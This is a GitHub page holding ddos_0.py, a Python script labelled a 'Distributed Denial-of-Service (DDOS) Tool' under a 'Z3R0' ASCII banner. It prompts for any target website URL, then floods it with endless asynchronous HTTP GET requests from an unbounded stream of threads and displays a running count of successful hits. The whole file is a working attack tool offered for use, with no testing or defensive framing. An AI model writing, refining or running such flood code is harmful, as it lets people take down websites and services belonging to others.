-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathddos_0.py
119 lines (99 loc) · 3.37 KB
/
ddos_0.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import colorama
import threading
import aiohttp
import asyncio
import subprocess
import multiprocess
import sys
import time
from pystyle import *
import os
# // GUI and Banner Start // #
# Header details
headers = {
"User-Agent": "Custom-DDOS"
}
# Detecting the platform and clearing the screen accordingly
current_os = sys.platform
if current_os == "linux":
os.system("clear")
else:
os.system("cls")
time.sleep(1)
# Ascii art banner with compact Z3R0 text
ascii_art = r'''
######## ####### ######## #####
## ## ## ## ## ## ##
## ## ## ## ## ##
## ####### ######## ## ##
## ## ## ## ## ##
## ## ## ## ## ## ##
######## ####### ## ## #####
Distributed Denial-of-Service (DDOS)
Tool
Please enter the target website URL below
-Cyburner -Z3R0
'''
# Additional styling to the banner
banner = r"""
""".replace('▓', '▀')
banner = Add.Add(ascii_art, banner, center=True)
# Display the banner with color
print(Colorate.Horizontal(Colors.purple_to_red, banner))
# // GUI and Banner End // #
# Initialize request counters and event loop
request_count = 0
requests_list = []
loop = asyncio.new_event_loop()
total_requests = 0
# Accepting the target URL
target_url = input("Enter Target Website URL -> ")
print()
time.sleep(1)
# Ensure the URL has a valid https protocol
if not target_url.startswith("https://"):
target_url = "https://" + target_url.lstrip("http://") # Removes http:// if present
print(f"Target URL: {target_url}")
# Asynchronous function to perform HTTP GET requests
async def send_request(session, target_url):
global total_requests, requests_list
start_time = int(time.time())
while True:
async with session.get(target_url, headers=headers) as response:
if response:
end_time = int(time.time())
elapsed_time = abs(start_time - end_time)
if response.status == 200:
total_requests += 1
requests_list.append(response.status)
# Display the request count and response status
sys.stdout.write(f"Total Requests: {str(len(requests_list))} | Elapsed Time: {elapsed_time}s | Status Code: {str(response.status)}\r")
else:
print(Colorate.Horizontal(Colors.red_to_green, "[Error] No response from the server"))
# List of target URLs for the attack
url_list = [target_url]
# Main function to orchestrate the attack
async def execute_ddos():
tasks = []
async with aiohttp.ClientSession() as session:
for url in url_list:
tasks.append(send_request(session, url))
await asyncio.gather(*tasks)
# Thread function to run the asyncio loop
def thread_task():
loop.run_forever(asyncio.run(execute_ddos()))
# Starting the attack using multithreading
if __name__ == '__main__':
threads = []
while True:
try:
while True:
attack_thread = threading.Thread(target=thread_task)
try:
attack_thread.start()
threads.append(attack_thread)
sys.stdout.flush()
except RuntimeError:
pass
except KeyboardInterrupt:
break